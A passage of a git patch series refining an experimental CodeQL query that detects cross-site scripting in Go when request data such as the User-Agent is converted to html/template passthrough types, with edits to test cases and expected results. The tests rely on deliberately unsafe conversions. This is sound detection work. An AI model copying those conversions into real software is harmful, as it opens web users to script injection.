+| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
+| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS |
| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
+| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset |
| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
+| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL |
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:74:16:74:30 | call to UserAgent : string | semmle.label | call to UserAgent : string |
-| HTMLTemplateEscapingPassthrough.go:75:38:75:43 | caught | semmle.label | caught |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
#select
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
index 04f2dc97937..b0b5325eb62 100755
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -70,8 +70,16 @@ func bad(req *http.Request) {
// good is an example of a good implementation
func good(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
- { // This will be escaped:
- var caught = req.UserAgent()
- checkError(tmpl.Execute(os.Stdout, caught))
+ { // This will be escaped, so it shoud NOT be caught:
+ var escaped = source(`link`)
+ checkError(tmpl.Execute(os.Stdout, escaped))
+ }
+ {
+ // The converted source value does NOT flow to tmpl.Exec,
+ // so this should NOT be caught.
+ src := source(`link`)
+ converted := template.HTML(src)
+ _ = converted
+ checkError(tmpl.Execute(os.Stdout, src))
}
}
From 7b4a7487935efbffae4be28fc1af2baf3ca875ca Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 18:06:15 +0100
Subject: [PATCH 07/20] Remove DummySource
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 9 ---------
1 file changed, 9 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index a3ac8f42877..74f52e5447e 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -138,15 +138,6 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
}
-private class DummySource extends UntrustedFlowSource::Range {
- DummySource() {
- exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
- call = fn.getACall() and
- this = call.getResult()
- )
- }
-}
-
/**
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
From 0bb5ef6af2a29d103efb94c62f694252324ac0e0 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 19:19:21 +0100
Subject: [PATCH 08/20] Fix test
---
.../experimental/CWE-79/HTMLTemplateEscapingPassthrough.go | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
mode change 100755 => 100644 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
old mode 100755
new mode 100644
index b0b5325eb62..e0468e4bfb2
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -71,13 +71,13 @@ func bad(req *http.Request) {
func good(req *http.Request) {
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
{ // This will be escaped, so it shoud NOT be caught:
- var escaped = source(`link`)
+ var escaped = req.UserAgent()
checkError(tmpl.Execute(os.Stdout, escaped))
}
{
// The converted source value does NOT flow to tmpl.Exec,
// so this should NOT be caught.
- src := source(`link`)
+ src := req.UserAgent()
converted := template.HTML(src)
_ = converted
checkError(tmpl.Execute(os.Stdout, src))
From cc31cd2fe2014913db67e4980374f6cc2ce2dbc4 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 19:23:11 +0100
Subject: [PATCH 09/20] Fix test
---
.../CWE-79/HTMLTemplateEscapingPassthrough.expected | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index ea27a9e9f78..f81c79f791b 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -89,6 +89,9 @@ edges
| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion |
| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src |
nodes
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML |
@@ -261,6 +264,12 @@ nodes
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string |
+| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src |
#select
| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted |
| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | converted |
From d5355eb6b45e90b47c746d0a599d255cf1f9c2ed Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Mon, 8 Mar 2021 23:53:19 +0100
Subject: [PATCH 10/20] Cleanup
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 20 +++++++++----------
1 file changed, 10 insertions(+), 10 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index 74f52e5447e..dc7e3f9f689 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -13,16 +13,16 @@ import go
import DataFlow::PathGraph
/**
- * Holds if the provided src node flows into a conversion to a PassthroughType.
+ * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType.
* The `targetType` parameter gets populated with the name of the PassthroughType,
- * and `conversionSink` with the node where the conversion happens.
+ * and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
- DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
+ DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink
) {
exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source |
cfg.hasFlowPath(source, conversionSink) and
- source.getNode() = src and
+ source.getNode() = untrusted.getNode() and
targetType = cfg.getDstTypeName()
)
}
@@ -46,7 +46,7 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
FlowConfFromUntrustedToPassthroughTypeConversion() {
dstTypeName instanceof PassthroughTypeName and
- this = "UnsafeConversion" + dstTypeName
+ this = "UntrustedToConversion" + dstTypeName
}
string getDstTypeName() { result = dstTypeName }
@@ -68,14 +68,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
- DataFlow::Node conversion, string targetType, DataFlow::PathNode execSink
+ DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink
) {
exists(
FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source,
DataFlow::PathNode execSinkLocal
|
cfg.hasFlowPath(source, execSinkLocal) and
- source.getNode() = conversion and
+ source.getNode() = conversion.getNode() and
execSink.getNode() = execSinkLocal.getNode() and
targetType = cfg.getDstTypeName()
)
@@ -139,7 +139,7 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config
}
/**
- * Holds if the provided `conversion` node flows into the provided `execSink`.
+ * Holds if the provided `untrusted` node flows into the provided `execSink`.
*/
predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) {
exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink))
@@ -154,9 +154,9 @@ where
// C = template execution
// Flows:
// A -> B
- flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversionSink) and
+ flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversionSink) and
// B -> C
- flowsFromConversionToExec(conversionSink.getNode(), targetTypeName, tplExecCall) and
+ flowsFromConversionToExec(conversionSink, targetTypeName, tplExecCall) and
// A -> C
flowsFromUntrustedToExec(untrustedSource, tplExecCall)
select tplExecCall.getNode(), untrustedSource, tplExecCall,
From b42d21f7408da72b94226b24d0221ea567ee3562 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Tue, 9 Mar 2021 00:01:33 +0100
Subject: [PATCH 11/20] Improve comments and naming.
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 18 +++++++++---------
1 file changed, 9 insertions(+), 9 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index dc7e3f9f689..d1607921c1e 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -146,19 +146,19 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN
}
from
- DataFlow::PathNode untrustedSource, DataFlow::PathNode tplExecCall, string targetTypeName,
- DataFlow::PathNode conversionSink
+ DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName,
+ DataFlow::PathNode conversion
where
- // A = remoteflowsource
+ // A = untrusted remote flow source
// B = conversion to PassthroughType
- // C = template execution
+ // C = template execution call
// Flows:
// A -> B
- flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversionSink) and
+ flowsFromUntrustedToConversion(untrustedSource, targetTypeName, conversion) and
// B -> C
- flowsFromConversionToExec(conversionSink, targetTypeName, tplExecCall) and
+ flowsFromConversionToExec(conversion, targetTypeName, templateExecCall) and
// A -> C
- flowsFromUntrustedToExec(untrustedSource, tplExecCall)
-select tplExecCall.getNode(), untrustedSource, tplExecCall,
+ flowsFromUntrustedToExec(untrustedSource, templateExecCall)
+select templateExecCall.getNode(), untrustedSource, templateExecCall,
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
- untrustedSource.getNode(), "untrusted source", conversionSink.getNode(), "converted"
+ untrustedSource.getNode(), "untrusted source", conversion.getNode(), "converted"
From 5351a8eeb7143f75e3f1fda90cbd425418e4f833 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Tue, 9 Mar 2021 17:06:05 +0100
Subject: [PATCH 12/20] Use TaintTracking an TaintTracking2
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 16 ++++++++--------
1 file changed, 8 insertions(+), 8 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index d1607921c1e..ec04b628a5e 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -18,9 +18,9 @@ import DataFlow::PathGraph
* and `conversionSink` gets populated with the node where the conversion happens.
*/
predicate flowsFromUntrustedToConversion(
- DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink
+ DataFlow::PathNode untrusted, string targetType, DataFlow2::PathNode conversionSink
) {
- exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source |
+ exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow2::PathNode source |
cfg.hasFlowPath(source, conversionSink) and
source.getNode() = untrusted.getNode() and
targetType = cfg.getDstTypeName()
@@ -41,7 +41,7 @@ class PassthroughTypeName extends string {
* this allows the injection of arbitrary content (html, css, js) into the generated
* output of the templates.
*/
-class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
+class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::Configuration {
string dstTypeName;
FlowConfFromUntrustedToPassthroughTypeConversion() {
@@ -68,11 +68,11 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co
* Holds if the provided `conversion` node flows into the provided `execSink`.
*/
predicate flowsFromConversionToExec(
- DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink
+ DataFlow2::PathNode conversion, string targetType, DataFlow::PathNode execSink
) {
exists(
- FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source,
- DataFlow::PathNode execSinkLocal
+ FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow2::PathNode source,
+ DataFlow2::PathNode execSinkLocal
|
cfg.hasFlowPath(source, execSinkLocal) and
source.getNode() = conversion.getNode() and
@@ -85,7 +85,7 @@ predicate flowsFromConversionToExec(
* A taint-tracking configuration for reasoning about when the result of a conversion
* to a PassthroughType flows to a template execution call.
*/
-class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
+class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking2::Configuration {
string dstTypeName;
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
@@ -147,7 +147,7 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN
from
DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName,
- DataFlow::PathNode conversion
+ DataFlow2::PathNode conversion
where
// A = untrusted remote flow source
// B = conversion to PassthroughType
From 280ffdf060855824085b4ec5dd48b4e92076aa1d Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Tue, 9 Mar 2021 17:08:41 +0100
Subject: [PATCH 13/20] Fix test
---
.../HTMLTemplateEscapingPassthrough.expected | 219 ------------------
1 file changed, 219 deletions(-)
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index f81c79f791b..d22f55d367d 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -1,274 +1,55 @@
edges
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a |
-| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion |
| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a |
-| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion |
| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a |
-| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion |
| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c |
-| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion |
| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
-| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d |
